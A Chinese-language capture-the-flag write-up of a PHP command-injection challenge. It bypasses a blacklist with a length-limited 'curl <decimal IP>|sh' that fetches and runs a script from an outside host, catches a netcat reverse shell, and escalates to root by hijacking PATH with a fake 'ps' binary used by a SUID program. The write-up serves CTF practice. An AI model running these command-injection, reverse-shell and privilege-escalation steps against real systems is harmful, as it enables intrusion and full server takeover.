bmzctf刷题 WEB_penetration

bmzctf刷题 WEB_penetration

直接上代码

<?php
highlight_file(__FILE__);
if(isset($_GET[‘ip‘])){
    $ip = $_GET[‘ip‘];
    $_=array(‘b‘,‘d‘,‘e‘,‘-‘,‘q‘,‘f‘,‘g‘,‘i‘,‘p‘,‘j‘,‘+‘,‘k‘,‘m‘,‘n‘,‘\<‘,‘\>‘,‘o‘,‘w‘,‘x‘,‘\~‘,‘\:‘,‘\^‘,‘\@‘,‘\&‘,‘\‘‘,‘\%‘,‘\"‘,‘\*‘,‘\(‘,‘\)‘,‘\!‘,‘\=‘,‘\.‘,‘\[‘,‘\]‘,‘\}‘,‘\{‘,‘\_‘);
    $blacklist = array_merge($_);
    foreach ($blacklist as $blacklisted) {
        if (strlen($ip) <= 18){
            if (preg_match (‘/‘ . $blacklisted . ‘/im‘, $ip)) {
                die(‘nonono‘);
            }else{
            exec($ip);
            }
            
        }
        else{
        die("long");
        }
    }
    
}
?>

传入一个GET型的ip参数,设置一个_变量,将_作为$blacklist
ip经过两重判断,一是长度小于18,二是balcklist黑名单匹配,匹配到的将敏感词替换为/im

步骤1 执行命令

屏蔽了好多关键“字”,由于是直接屏蔽“字”的,好像饶不了,而且“flag”也在里面
目前来看可以执行的是curl
思路是curl请求服务器,得到服务器上的数据,将得到的数据当作命令执行

bmzctf刷题 WEB_penetration

写入一句话bash
bmzctf刷题 WEB_penetration
另一个82.156.28.224开nc监听112端口
bmzctf刷题 WEB_penetration

注意不要使用除了80端口外其他的端口,长度会超高18个字节限制
将ip地址十进制编码一下,同样为了减少长度

bmzctf刷题 WEB_penetration
十进制后结果148010788
可以ping一下试试
bmzctf刷题 WEB_penetration

执行curl命令
?ip=curl 148010788|sh
bmzctf刷题 WEB_penetration
bmzctf刷题 WEB_penetration

权限是www-data
没有在常见路径找到flag,搜索也没有找到
推测应该要提权
bmzctf刷题 WEB_penetration

find / -user root -perm -4000 -print 2>/dev/null
搜索root权限运行的服务
bmzctf刷题 WEB_penetration
发现里面有个奇怪的love??
运行下试试
bmzctf刷题 WEB_penetration
返回了ps命令的结果
在这里wp里面直接就把love文件下载了,但是。。。nc怎么下载文件啊。。。。
在这里我还试了一下msf,但是没有回显

bmzctf刷题 WEB_penetration
bmzctf刷题 WEB_penetration

创建一个假的ps命令在/tmp目录下。。。(万能的tmp目录)

cd /tmp
echo "/bin/bash" >ps
chmod 777 ps
export PATH=/tmp:$PATH //将‘/tmp‘添加到PATH变量最前面

这时候执行love程序,就相当于用root权限开了一个bash
bmzctf刷题 WEB_penetration

bmzctf刷题 WEB_penetration

上一篇:Node.js中的全局对象和全局函数


下一篇:Vue4(vue-cli脚手架和webpack)